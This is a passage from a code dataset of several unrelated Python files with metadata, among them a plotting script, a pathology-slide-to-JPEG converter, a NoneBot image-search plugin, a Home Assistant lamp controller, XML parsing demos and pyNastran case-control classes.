"name"}, {"api_name": "celery.group", "line_number": 72, "usage_type": "call"}, {"api_name": "tsa.celery.celery.task", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tsa.celery.celery", "line_number": 33, "usage_type": "name"}, {"api_name": "tsa.endpoint.SparqlEndpointAnalyzer", "line_number": 78, "usage_type": "call"}, {"api_name": "celery.group", "line_number": 79, "usage_type": "call"}, {"api_name": "tsa.celery.celery.task", "line_number": 75, "usage_type": "attribute"}, {"api_name": "tsa.celery.celery", "line_number": 75, "usage_type": "name"}]} {"seq_id": "313513611", "text": "#!/usr/bin/python3\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import fsolve\nimport math\n\nnames = ['SRTF', 'OURS', 'PF']\nfig, ax = plt.subplots(1, 1, figsize=(10, 10), dpi=100)\ndef plots(fname, name):\n\tdata = pd.read_table(fname)\n\tN = data.groupby('N')['N'].mean()\n\tD = data.groupby('N')['D'].mean()\n\tDSTA = data.groupby('N')['DSTA'].mean()\n\tdDSTA = data.groupby('N')['DSTA'].std()\n\tDRA = data.groupby('N')['DRA'].mean()\n\tdD = data.groupby('N')['D'].std()\n\tactive = data.groupby('N')['Active'].mean()\n\tactive_tr = data.groupby('N')['Active_Tr'].mean()\n#\tax.errorbar(N, D, dD, label=name, linewidth=2)\n\tax.errorbar(N, DSTA, dDSTA, label=\"{} per STA\".format(name), linewidth=2)\n#\tax[1].plot(N, active, label=\"{} \".format(name), linewidth=2)\n#\tax[1].plot(N, active_tr, label=\"{} Tr\".format(name), linewidth=2)\n#\tax.plot(N, DRA, label=\"{} RA\".format(name), linewidth=2)\n\n\n#plots(0, 0, 100)\n#plots(1, 0, 100)\n#plots(0, 0, 50)\n#plots(1, 0, 50)\n#plots(100, 1000)\n#plots(0, 0, 37)\n#plots(60, 0, 37)\nplots('0-10m.dat', 'SRTF')\nplots('1-10m.dat', 'OURS')\nplots('2-10m.dat', 'PF')\n#plots('fix-1-1.dat', 'OURS, fmin = 1')\n#plots('2-1.dat', 'PF, fmin = 1')\nax.set_xlabel('Number of STAs')\nax.set_ylabel('Average Upload Time')\nax.grid()\nax.legend(loc=\"best\")\n#ax.set_xlim(0, 20)\n#ax.set_ylim(0, 0.06)\n#ax[1].set_xlabel('Number of STAs')\n#ax[1].set_ylabel('Average Number of Active STAs')\n#ax[1].set_xlim(0, 50)\n#ax[1].grid()\n#ax[1].legend(loc=\"best\")\nplt.tight_layout()\nplt.savefig('10m.png')\nplt.close()\n", "sub_path": "ana_sim_code/newlife/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 1582, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.use", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "pandas.read_table", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}]} {"seq_id": "302323178", "text": "from __future__ import division\nfrom multiprocessing import Pool\nimport sys\nimport os\nimport argparse\n# # necessary to add cwd to path when script run \n# # by slurm (since it executes a copy)\nsys.path.append(os.getcwd()) \nimport cv2\nimport numpy as np\nfrom openslide import OpenSlide\nfrom PIL import Image\nfrom resizeimage import resizeimage\nimport random \n\nglobal inputdir\nglobal outputdir\n\n\n\ndef full_slide_to_jpeg(imgfilename, inputdir, outputdir):\n # For TCGA SLIDES\n #print(imgfilename, inputdir, outputdir)\n #print('in loop')\n sample_id = imgfilename.split(\".\")[0]\n # try:\n img = OpenSlide(os.path.join(inputdir, imgfilename))\n print('img.dimensions ', img.dimensions)\n x_0 = img.dimensions[0]\n x_1 = img.dimensions[1]\n y_0 = x_0 // 8\n y_1 = x_1 // 8\n r_0 = x_0 % 8\n r_1 = x_1 % 8\n print('x_0 ', x_0, ' x_1 ', x_1, ' y_0 ', y_0, ' y_1 ', y_1, ' r_0 ', r_0, ' r_1 ', r_1)\n list_coordsx = []\n list_coordsy = []\n for i in range(1,8):\n X = y_0 * (i -1)\n Y = y_1 * (i-1)\n list_coordsx.append(X)\n list_coordsy.append(Y)\n list_coordsx.append(y_0 * 7)\n list_coordsy.append(y_1 * 7)\n \n np_array_f = np.zeros((int(x_0//8/10 * 8 + (x_0 - y_0*7 ) /10), int(x_1//8/10 * 8 + (x_1 - y_1*7 ) /10) , 3))\n print(np_array_f.shape)\n cx = 0\n for elex in list_coordsx:\n cy = 0\n for eley in list_coordsy:\n ele = (elex, eley)\n if cy < 8 and cx < 8:\n try:\n img1=img.read_region(location=ele, level=0, size=(y_0 -1 , y_1 - 1 ))\n img11=img1.convert(\"RGB\")\n img111=img11.resize((int(round(y_0 / 10)), \n int(round(y_1 / 10))),Image.ANTIALIAS)\n\n img111 = np.array(img111).transpose(1,0,2)\n print('img111 ', img111.shape)\n np_array_f[int(round(ele[0]/10)): int(round(ele[0]/10)) + img111.shape[0], \n int(round(ele[1]/10)): int(round(ele[1]/10)) + img111.shape[1],:] = img111\n except:\n with open('errorFullSlides1stBatch_806_2159.txt', 'a') as f:\n f.write('\\n{}\\t{}\\t{}'.format(sample_id,elex,eley))\n\n elif cy >= 8 and cx <8:\n try:\n img1=img.read_region(location=ele, level=0, size=(y_0 -1 , y_1 - 1 + r_1))\n img11=img1.convert(\"RGB\")\n img111=img11.resize((int(round(y_0 / 10)), \n int(round(y_1 / 10))),Image.ANTIALIAS)\n img111 = np.array(img111).transpose(1,0,2)\n np_array_f[int(round(ele[0]/10)): int(round(ele[0]/10)) + img111.shape[0], \n int(round(ele[1]/10)): ,:] = img111\n except:\n with open('errorFullSlides1stBatch_806_2159.txt', 'a') as f:\n f.write('\\n{}\\t{}\\t{}'.format(sample_id,elex,eley))\n\n \n elif cx >= 8 and cy <8:\n try:\n img1=img.read_region(location=ele, level=0, size=(y_0 -1 + r_0, y_1 - 1 ))\n img11=img1.convert(\"RGB\")\n img111=img11.resize((int(round(y_0 / 10)), int(round(y_1 / 10))),Image.ANTIALIAS)\n img111 = np.array(img111).transpose(1,0,2)\n \n np_array_f[int(round(ele[0]/10)): , \n int(round(ele[1]/10)): int(round(ele[1]/10)) + img111.shape[1] ,:] = img111\n except:\n with open('errorFullSlides1stBatch_806_2159.txt', 'a') as f:\n f.write('\\n{}\\t{}\\t{}'.format(sample_id,elex,eley))\n\n else:\n try:\n img1=img.read_region(location=ele, level=0, size=(y_0 -1 + r_0 , y_1 - 1 + r_1))\n img11=img1.convert(\"RGB\")\n img111=img11.resize((int(round(y_0 / 10)), \n int(round(y_1 / 10))),Image.ANTIALIAS)\n img111 = np.array(img111).transpose(1,0,2)\n np_array_f[int(round(ele[0]/10)): , \n int(round(ele[1]/10)): ,:] = img111\n except:\n with open('errorFullSlides1stBatch_806_2159.txt', 'a') as f:\n f.write('\\n{}\\t{}\\t{}'.format(sample_id,elex,eley))\n\n cy +=1\n cx += 1\n im = Image.fromarray(np_array_f.astype(np.uint8))\n im.save( os.path.join(outputdir, sample_id + '.jpg' ) , 'JPEG', optimize=True, quality=94)\n\n \n # print('Error with the file : ', sample_id) \n \nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Test set carcinoids for scanners.')\n parser.add_argument('--inputdir', type=str, help=\"Input directory where the images are stored\")\n parser.add_argument('--outputdir', type=str, help='output directory where the files will be stored')\n args = parser.parse_args()\n outputdir = args.outputdir\n inputdir = args.inputdir\n\n images_l = []\n all_f = os.listdir(inputdir) # To change main folder\n for f in all_f:\n if f.find(\".mrxs\") != -1 or f.find(\".svs\") != -1:\n sample_id = f.split('.')[0]\n num = int(f.split('.')[0].split('TNE')[-1])\n #print(num)\n outputfilename = sample_id + '.jpg' \n print(sample_id)\n if num>806 and num<=2159 and outputfilename not in os.listdir(outputdir) and f not in os.listdir('/data/gcs/lungNENomics/work/follm/Images/2nd_batch_LNEN_HES') :\n print('Accept ', num)\n images_l.append(f)\n \n\n array_of_args = [(i, inputdir, outputdir) for i in images_l]\n with Pool(len(images_l)) as p:\n p.starmap(full_slide_to_jpeg, array_of_args)\n", "sub_path": "FullSlidesToJpeg/FullSlidesToJpeg.py", "file_name": "FullSlidesToJpeg.py", "file_ext": "py", "file_size_in_byte": 5937, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.append", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 8, "usage_type": "call"}, {"api_name": "openslide.OpenSlide", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 46, "usage_type": "call"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 58, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 58, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 60, "usage_type": "call"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 73, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 73, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 74, "usage_type": "call"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 86, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 86, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 87, "usage_type": "call"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 100, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 100, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 101, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 110, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 110, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 117, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 125, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 133, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 139, "usage_type": "call"}]} {"seq_id": "521970417", "text": "import re\nfrom nonebot import on_command, export, logger\nfrom nonebot.typing import T_State\nfrom nonebot.adapters.cqhttp.bot import Bot\nfrom nonebot.adapters.cqhttp.event import MessageEvent, GroupMessageEvent, PrivateMessageEvent\nfrom nonebot.adapters.cqhttp.permission import GROUP, PRIVATE_FRIEND\nfrom nonebot.adapters.cqhttp import MessageSegment, Message\nfrom omega_miya.utils.Omega_plugin_utils import init_export, init_permission_state\nfrom .utils import pic_2_base64, get_saucenao_identify_result, get_ascii2d_identify_result\n\n# Custom plugin usage text\n__plugin_name__ = '识图'\n__plugin_usage__ = r'''【识图助手】\n使用SauceNAO/ascii2d识别各类图片、插画\n群组/私聊可用\n\n**Permission**\nFriend Private\nCommand & Lv.50\nor AuthNode\n\n**AuthNode**\nbasic\n\n**Usage**\n/识图'''\n\n# 声明本插件可配置的权限节点\n__plugin_auth_node__ = [\n 'basic'\n]\n\n# Init plugin export\ninit_export(export(), __plugin_name__, __plugin_usage__, __plugin_auth_node__)\n\n\n# 注册事件响应器\nsearch_image = on_command(\n '识图',\n aliases={'搜图'},\n # 使用run_preprocessor拦截权限管理, 在default_state初始化所需权限\n state=init_permission_state(\n name='search_image',\n command=True,\n level=50,\n auth_node='basic'),\n permission=GROUP | PRIVATE_FRIEND,\n priority=20,\n block=True)\n\n\n# 修改默认参数处理\n@search_image.args_parser\nasync def parse(bot: Bot, event: MessageEvent, state: T_State):\n args = str(event.get_message()).strip().split()\n if not args:\n await search_image.reject('你似乎没有发送有效的消息呢QAQ, 请重新发送:')\n state[state[\"_current_key\"]] = args[0]\n if state[state[\"_current_key\"]] == '取消':\n await search_image.finish('操作已取消')\n\n\n@search_image.handle()\nasync def handle_first_receive(bot: Bot, event: MessageEvent, state: T_State):\n if event.reply:\n img_url = str(event.reply.message).strip()\n if re.match(r'^(\\[CQ:image,file=[abcdef\\d]{32}\\.image,url=.+?])$', img_url):\n state['image_url'] = img_url\n\n args = str(event.get_plaintext()).strip().lower().split()\n if args:\n await search_image.finish('该命令不支持参数QAQ')\n\n\n@search_image.got('image_url', prompt='请发送你想要识别的图片:')\nasync def handle_draw(bot: Bot, event: MessageEvent, state: T_State):\n if isinstance(event, GroupMessageEvent):\n group_id = event.group_id\n else:\n group_id = 'Private event'\n\n image_url = state['image_url']\n if not re.match(r'^(\\[CQ:image,file=[abcdef\\d]{32}\\.image,url=.+?])$', image_url):\n await search_image.reject('你发送的似乎不是图片呢, 请重新发送, 取消命令请发送【取消】:')\n\n # 提取图片url\n image_url = re.sub(r'^(\\[CQ:image,file=[abcdef\\d]{32}\\.image,url=)', '', image_url)\n image_url = re.sub(r'(])$', '', image_url)\n\n try:\n has_error = False\n await search_image.send('获取识别结果中, 请稍后~')\n identify_result = []\n identify_saucenao_result = await get_saucenao_identify_result(url=image_url)\n if identify_saucenao_result.success():\n identify_result.extend(identify_saucenao_result.result)\n else:\n has_error = True\n\n # saucenao 没有结果时再使用 ascii2d 进行搜索\n if not identify_result:\n identify_ascii2d_result = await get_ascii2d_identify_result(url=image_url)\n # 合并搜索结果\n if identify_ascii2d_result.success():\n identify_result.extend(identify_ascii2d_result.result)\n else:\n has_error = True\n if identify_result:\n for item in identify_result:\n try:\n if type(item['ext_urls']) == list:\n ext_urls = ''\n for urls in item['ext_urls']:\n ext_urls += f'{urls}\\n'\n ext_urls = ext_urls.strip()\n else:\n ext_urls = item['ext_urls']\n ext_urls = ext_urls.strip()\n img_b64 = await pic_2_base64(item['thumbnail'])\n if not img_b64.success():\n msg = f\"识别结果: {item['index_name']}\\n\\n相似度: {item['similarity']}\\n资源链接: {ext_urls}\"\n await search_image.send(msg)\n else:\n img_seg = MessageSegment.image(img_b64.result)\n msg = f\"识别结果: {item['index_name']}\\n\\n相似度: {item['similarity']}\\n资源链接: {ext_urls}\\n{img_seg}\"\n await search_image.send(Message(msg))\n except Exception as e:\n logger.warning(f'处理和发送识别结果时发生了错误: {repr(e)}')\n continue\n logger.info(f\"{group_id} / {event.user_id} 使用searchimage成功搜索了一张图片\")\n return\n elif not identify_result and has_error:\n await search_image.send('识图过程中获取信息失败QAQ, 请重试一下吧')\n logger.info(f\"{group_id} / {event.user_id} 使用了searchimage, 但在识图过程中获取信息失败\")\n return\n else:\n await search_image.send('没有找到相似度足够高的图片QAQ')\n logger.info(f\"{group_id} / {event.user_id} 使用了searchimage, 但没有找到相似的图片\")\n return\n except Exception as e:\n await search_image.send('识图失败, 发生了意外的错误QAQ, 请稍后重试')\n logger.error(f\"{group_id} / {event.user_id} 使用命令searchimage时发生了错误: {repr(e)}\")\n return\n", "sub_path": "omega_miya/plugins/search_image/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 5782, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "omega_miya.utils.Omega_plugin_utils.init_export", "line_number": 34, "usage_type": "call"}, {"api_name": "nonebot.export", "line_number": 34, "usage_type": "call"}, {"api_name": "nonebot.on_command", "line_number": 38, "usage_type": "call"}, {"api_name": "omega_miya.utils.Omega_plugin_utils.init_permission_state", "line_number": 42, "usage_type": "call"}, {"api_name": "nonebot.adapters.cqhttp.permission.GROUP", "line_number": 47, "usage_type": "name"}, {"api_name": "nonebot.adapters.cqhttp.permission.PRIVATE_FRIEND", "line_number": 47, "usage_type": "name"}, {"api_name": "nonebot.adapters.cqhttp.bot.Bot", "line_number": 54, "usage_type": "name"}, {"api_name": "nonebot.adapters.cqhttp.event.MessageEvent", "line_number": 54, "usage_type": "name"}, {"api_name": "nonebot.typing.T_State", "line_number": 54, "usage_type": "name"}, {"api_name": "nonebot.adapters.cqhttp.bot.Bot", "line_number": 64, "usage_type": "name"}, {"api_name": "nonebot.adapters.cqhttp.event.MessageEvent", "line_number": 64, "usage_type": "name"}, {"api_name": "nonebot.typing.T_State", "line_number": 64, "usage_type": "name"}, {"api_name": "re.match", "line_number": 67, "usage_type": "call"}, {"api_name": "nonebot.adapters.cqhttp.bot.Bot", "line_number": 76, "usage_type": "name"}, {"api_name": "nonebot.adapters.cqhttp.event.MessageEvent", "line_number": 76, "usage_type": "name"}, {"api_name": "nonebot.typing.T_State", "line_number": 76, "usage_type": "name"}, {"api_name": "nonebot.adapters.cqhttp.event.GroupMessageEvent", "line_number": 77, "usage_type": "argument"}, {"api_name": "re.match", "line_number": 83, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 87, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 88, "usage_type": "call"}, {"api_name": "utils.get_saucenao_identify_result", "line_number": 94, "usage_type": "call"}, {"api_name": "utils.get_ascii2d_identify_result", "line_number": 102, "usage_type": "call"}, {"api_name": "utils.pic_2_base64", "line_number": 119, "usage_type": "call"}, {"api_name": "nonebot.adapters.cqhttp.MessageSegment.image", "line_number": 124, "usage_type": "call"}, {"api_name": "nonebot.adapters.cqhttp.MessageSegment", "line_number": 124, "usage_type": "name"}, {"api_name": "nonebot.adapters.cqhttp.Message", "line_number": 126, "usage_type": "call"}, {"api_name": "nonebot.logger.warning", "line_number": 128, "usage_type": "call"}, {"api_name": "nonebot.logger", "line_number": 128, "usage_type": "name"}, {"api_name": "nonebot.logger.info", "line_number": 130, "usage_type": "call"}, {"api_name": "nonebot.logger", "line_number": 130, "usage_type": "name"}, {"api_name": "nonebot.logger.info", "line_number": 134, "usage_type": "call"}, {"api_name": "nonebot.logger", "line_number": 134, "usage_type": "name"}, {"api_name": "nonebot.logger.info", "line_number": 138, "usage_type": "call"}, {"api_name": "nonebot.logger", "line_number": 138, "usage_type": "name"}, {"api_name": "nonebot.logger.error", "line_number": 142, "usage_type": "call"}, {"api_name": "nonebot.logger", "line_number": 142, "usage_type": "name"}]} {"seq_id": "457156927", "text": "#!/usr/bin/env python\n\n\"\"\"Auslesen von Sensorwerten aus Home Assistant zur visuellen Rückmeldung der Raumqualität über eine im Raum angebrachte Hue Lampe\"\"\"\n\n__author__ = \"FarbenFroh\"\n\nimport homeassistant.remote as remote\nimport json\n#import configparser\nimport ast\nimport time\n#import logging\n\nclass FarbenFroh:\n\n def init(self):\n pass\n\n #Let the light pulsating to a maximum brightness\n def pulsatingLightCall(self, Config, api, exceeded, bright_max, color):\n #actual brightness\n bright = 1.0\n #when the maximum brigthness is reached\n reachedmax = False\n lamp = Config.get('Sensors', 'Lamp')\n global goodRoom\n\n #Loop to control the light\n while (exceeded == True):\n if bright <= bright_max and not reachedmax:\n bright = bright + 1\n if (bright >= bright_max):\n reachedmax = True \n else:\n if bright == 1:\n exceeded = False\n reachedmax = False\n #Set global variable that one value is out of the defined borders\n goodRoom = False\n\n bright = bright - 1\n\n #Call Home Assistant to set the light\n remote.call_service(api, 'light', 'turn_on', {'entity_id': lamp, 'brightness': bright, 'rgb_color': color})\n #Wait 0,1 seconds to make the brightness change smooth\n time.sleep(0.1)\n\n #Call the diferent functions for the values\n def setLightColor(self, Config, api, values):\n\n #Mimimum temperature\n color = ast.literal_eval(Config.get('Sectors', 'Temp_Min_Color'))\n FarbenFroh.pulsatingLightCall(self, Config, api, values['temp_min'], values['temp_bright'], color)\n\n #Maximum temperature\n color = ast.literal_eval(Config.get('Sectors', 'Temp_Max_Color'))\n FarbenFroh.pulsatingLightCall(self, Config, api, values['temp_max'], values['temp_bright'], color)\n\n #Minimum humidity\n color = ast.literal_eval(Config.get('Sectors', 'Hum_Min_Color'))\n FarbenFroh.pulsatingLightCall(self, Config, api, values['hum_min'], values['hum_bright'], color)\n\n #Maximum humidity\n color = ast.literal_eval(Config.get('Sectors', 'Hum_Max_Color'))\n FarbenFroh.pulsatingLightCall(self, Config, api, values['hum_max'], values['hum_bright'], color)\n\n #Maximum Co2\n color = ast.literal_eval(Config.get('Sectors', 'Co2_Max_Color'))\n FarbenFroh.pulsatingLightCall(self, Config, api, values['Co2_max'], values['Co2_bright'], color)\n \n #Minimum light\n color = ast.literal_eval(Config.get('Sectors', 'Light_Min_Color'))\n FarbenFroh.pulsatingLightCall(self, Config, api, values['light_min'], values['light_bright'], color)\n\n #When no value border is exceeded set the light to default\n color = ast.literal_eval(Config.get('Sectors', 'Default_Color'))\n remote.call_service(api, 'light', 'turn_on', {'entity_id': Config.get('Sensors', 'Lamp'), 'brightness': 1, 'rgb_color': color})\n\n #Check that the brightness value is in the range from 0 to 100\n def maxBright(self, value):\n if(value>100):\n value = 100\n elif(value<1):\n value = 1\n return value\n\n def changeLightColor(self, Config, values, api, tempAvg, humAvg, Co2Avg, lightAvg):\n #Variable to show that no value is out of bounderies\n goodRoom = True\n textlist = []\n #Get average temperature from sensors\n if tempAvg < int(Config.get('Sectors', 'Temp_Min')):\n values['temp_bright'] = FarbenFroh.maxBright(self, (tempAvg - int(Config.get('Sectors', 'Temp_Min'))) * -10)\n if values['temp_min'] == False:\n values['temp_min'] = True\n #logging.info(\"Temp;Min;\"+str(values['temp_bright']))\n if values['temp_max'] == True:\n values['temp_max'] = False\n textlist.append('tempTooLow')\n elif tempAvg > int(Config.get('Sectors', 'Temp_Max')):\n values['temp_bright'] = FarbenFroh.maxBright(self, (tempAvg - int(Config.get('Sectors', 'Temp_Max'))) * 10)\n if values['temp_max'] == False:\n values['temp_max'] = True\n #logging.info(\"Temp;Max;\"+str(values['temp_bright']))\n if values['temp_min'] == True:\n values['temp_min'] = False\n textlist.append('tempTooHigh')\n elif values['temp_min'] == True or values['temp_max'] == True:\n values['temp_min'] = False\n values['temp_max'] = False\n #logging.info(\"Temp;Normal;0\")\n\n #Get average humidity from sensors\n if humAvg < int(Config.get('Sectors', 'Hum_Min')):\n values['hum_bright'] = FarbenFroh.maxBright(self, (humAvg - int(Config.get('Sectors', 'Hum_Min'))) * -5)\n if values['hum_min'] == False:\n values['hum_min'] = True\n #logging.info(\"Hum;Min;\"+str(values['hum_bright']))\n if values['hum_max'] == True:\n values['hum_max'] = False\n textlist.append('humTooLow')\n elif humAvg > int(Config.get('Sectors', 'Hum_Max')):\n values['hum_bright'] = FarbenFroh.maxBright(self, (humAvg - int(Config.get('Sectors', 'Hum_Max'))) * 5)\n if values['hum_max'] == False:\n values['hum_max'] = True\n #logging.info(\"Hum;Max;\"+str(values['hum_bright']))\n if values['hum_min'] == True:\n values['hum_min'] = False\n textlist.append('humTooHigh')\n elif values['hum_min'] == True or values['hum_max'] == True:\n values['hum_min'] = False\n values['hum_max'] = False\n #logging.info(\"Hum;Normal;0\")\n\n #Get average Co2 value from sensors\n if Co2Avg > int(Config.get('Sectors', 'Co2_Max')):\n values['Co2_bright'] = FarbenFroh.maxBright(self, (Co2Avg - int(Config.get('Sectors', 'Co2_Max'))) * 0.1)\n if values['Co2_max'] == False:\n values['Co2_max'] = True\n #logging.info(\"Co2;Max;\"+str(values['Co2_bright']))\n textlist.append('Co2TooHigh')\n elif values['Co2_max'] == True:\n values['Co2_max'] = False\n #logging.info(\"Co2;Normal;0\")\n \n #Get average light value from sensors\n if lightAvg < int(Config.get('Sectors', 'Light_Min')):\n values['light_bright'] = FarbenFroh.maxBright(self, (lightAvg - int(Config.get('Sectors', 'Light_Min'))) * 0.5)\n if values['light_min'] == False:\n values['light_min'] = True\n #logging.info(\"Light;Max;0\"))\n textlist.append('lightTooLow')\n elif values['light_min'] == True:\n values['light_min'] = False\n #logging.info(\"Light;Normal;0\")\n\n #logging.debug(values)\n\n #Set lights calculated by the average values\n FarbenFroh.setLightColor(self, Config, api, values)\n return textlist", "sub_path": "Internal environment/homeassistant/scripts/stayfocused+farbenfroh/farbenfroh.py", "file_name": "farbenfroh.py", "file_ext": "py", "file_size_in_byte": 7072, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "homeassistant.remote.call_service", "line_number": 44, "usage_type": "call"}, {"api_name": "homeassistant.remote", "line_number": 44, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 46, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 52, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 56, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 60, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 64, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 68, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 72, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 76, "usage_type": "call"}, {"api_name": "homeassistant.remote.call_service", "line_number": 77, "usage_type": "call"}, {"api_name": "homeassistant.remote", "line_number": 77, "usage_type": "name"}]} {"seq_id": "309572086", "text": "print(\"re 使用匹配组\")\nimport re\ntext = open('mybooks.xml').read()\nfound = re.findall('(.*)',text)\nfor title in found:\n print(title)\n\nprint(\"#xml标准库 DOM模式\")\n#xml标准库 DOM模式\nfrom xml.dom.minidom import parse,Node\nxmltree = parse(\"mybooks.xml\")\nfor node1 in xmltree.getElementsByTagName('title'):\n for node2 in node1.childNodes:\n if node2.nodeType == Node.TEXT_NODE:\n print(node2.data)\n\nprint(\"#xml标准库 sax模式\")\n#xml标准库 sax模式\nimport xml.sax.handler\nclass BookHandler(xml.sax.handler.ContentHandler):\n def __init__(self):\n self.inTitle = False\n\n def startElement(self, name, attrs):\n if name == 'title':\n self.inTitle = True\n\n def characters(self, content):\n if self.inTitle:\n print(content)\n\n def endElement(self, name):\n if name == 'title':\n self.inTitle = False\n\nimport xml.sax\nparser = xml.sax.make_parser()\nhandler = BookHandler()\nparser.setContentHandler(handler)\nparser.parse('mybooks.xml')\n\n\nprint(\"ElementTree 模块 demo\")\nfrom xml.etree.ElementTree import parse\ntree = parse(\"mybooks.xml\")\nfor E in tree.findall(\"title\"):\n print(E.text)", "sub_path": "python/练习代码/oop/XMLdemo.py", "file_name": "XMLdemo.py", "file_ext": "py", "file_size_in_byte": 1200, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "re.findall", "line_number": 4, "usage_type": "call"}, {"api_name": "xml.dom.minidom.parse", "line_number": 11, "usage_type": "call"}, {"api_name": "xml.dom.minidom.Node.TEXT_NODE", "line_number": 14, "usage_type": "attribute"}, {"api_name": "xml.dom.minidom.Node", "line_number": 14, "usage_type": "name"}, {"api_name": "xml.dom.minidom.sax", "line_number": 20, "usage_type": "attribute"}, {"api_name": "xml.dom.minidom", "line_number": 20, "usage_type": "name"}, {"api_name": "xml.dom.minidom.sax.make_parser", "line_number": 37, "usage_type": "call"}, {"api_name": "xml.dom.minidom.sax", "line_number": 37, "usage_type": "attribute"}, {"api_name": "xml.dom.minidom", "line_number": 37, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 45, "usage_type": "call"}]} {"seq_id": "36775817", "text": "from typing import List, Dict, Union, Set, Any\nfrom pyNastran.bdf.bdf_interface.subcase_utils import write_set\n\nclass CaseControlCard:\n \"\"\"basic card similar to the BaseCard class for the BDF\"\"\"\n def __iter__(self):\n \"\"\"temporary method to emulate the old list access style\"\"\"\n value = self\n options = None\n param_type = 'OBJ-type'\n return iter([value, options, param_type])\n\n#-------------------------------------------------------------------------------\nclass IntCard(CaseControlCard):\n \"\"\"\n interface for cards of the form:\n NAME = 10\n\n \"\"\"\n type = 'IntCard'\n def __init__(self, value):\n \"\"\"\n Creates an IntCard\n\n Parameters\n ----------\n value : int\n the value for the card\n\n \"\"\"\n super(IntCard, self).__init__()\n self.value = int(value)\n\n def __iter__(self):\n \"\"\"temporary method to emulate the old list access style\"\"\"\n value = self\n options = []\n #param_type = 'STRESS-type'\n param_type = 'OBJ-type'\n return iter([value, options, param_type])\n\n @classmethod\n def add_from_case_control(cls, line, line_upper, lines, i):\n \"\"\"\n Creates a card from the Case Control Deck\n\n Parameters\n ----------\n line : str\n the line of the card\n line_upper : str\n unused\n lines : List[str]\n unused\n i : int\n unused\n\n \"\"\"\n value = line_upper.split('=')[1]\n try:\n out = cls(value)\n except ValueError:\n print(line)\n raise\n return out\n\n def export_to_hdf5(self, h5_file, encoding):\n h5_file.create_dataset('value', data=self.value)\n\n @classmethod\n def load_hdf5(cls, h5_file, encoding):\n from pyNastran.utils.dict_to_h5py import _cast\n value = h5_file['value']\n value2 = _cast(value)\n return cls(value2), []\n\n def __repr__(self):\n \"\"\"writes a card\"\"\"\n return '%s = %i\\n' % (self.type, self.value)\n\n def write(self, spaces):\n \"\"\"writes a card with spaces\"\"\"\n return spaces + str(self)\n\nclass IntStrCard(IntCard):\n \"\"\"\n interface for cards of the form:\n NAME = 10\n NAME = ALL\n\n \"\"\"\n type = 'IntStrCard'\n allowed_strings = set([]) # type: Set[str]\n def __init__(self, value):\n \"\"\"\n Creates an IntStrCard\n\n Parameters\n ----------\n value : int/str\n the value for the card\n\n \"\"\"\n #super(IntStrCard, self).__init__()\n try:\n self.value = int(value)\n except ValueError:\n value = value.strip()\n if value not in 